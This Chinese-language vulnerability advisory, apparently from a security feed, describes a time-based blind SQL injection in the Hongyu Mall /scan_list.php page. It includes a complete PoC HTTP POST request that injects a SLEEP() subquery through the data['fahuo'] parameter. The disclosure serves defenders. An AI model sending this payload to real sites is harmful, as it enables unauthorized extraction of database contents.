鸿宇-商城 /scan_list.php SQL 注入漏洞

2025-11-21 鸿宇-商城 PoC Public

Description

目标Web应用的/scan_list.php文件存在SQL时间盲注漏洞。攻击者可通过构造恶意的data['fahuo']参数，注入包含SLEEP()函数的SQL语句，利用响应时间的差异来窃取数据库中的敏感信息。

PoC

POST /scan_list.php HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Content-Length: 58
Content-Type: application/x-www-form-urlencoded
Cookie: 
Accept-Encoding: gzip

data['fahuo']=(SELECT 1 FROM (SELECT(SLEEP(0)))a)&act=view

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://gobysec.net/updates#Hongyu-Mall /scan_list.php SQL Injection Vulnerability

References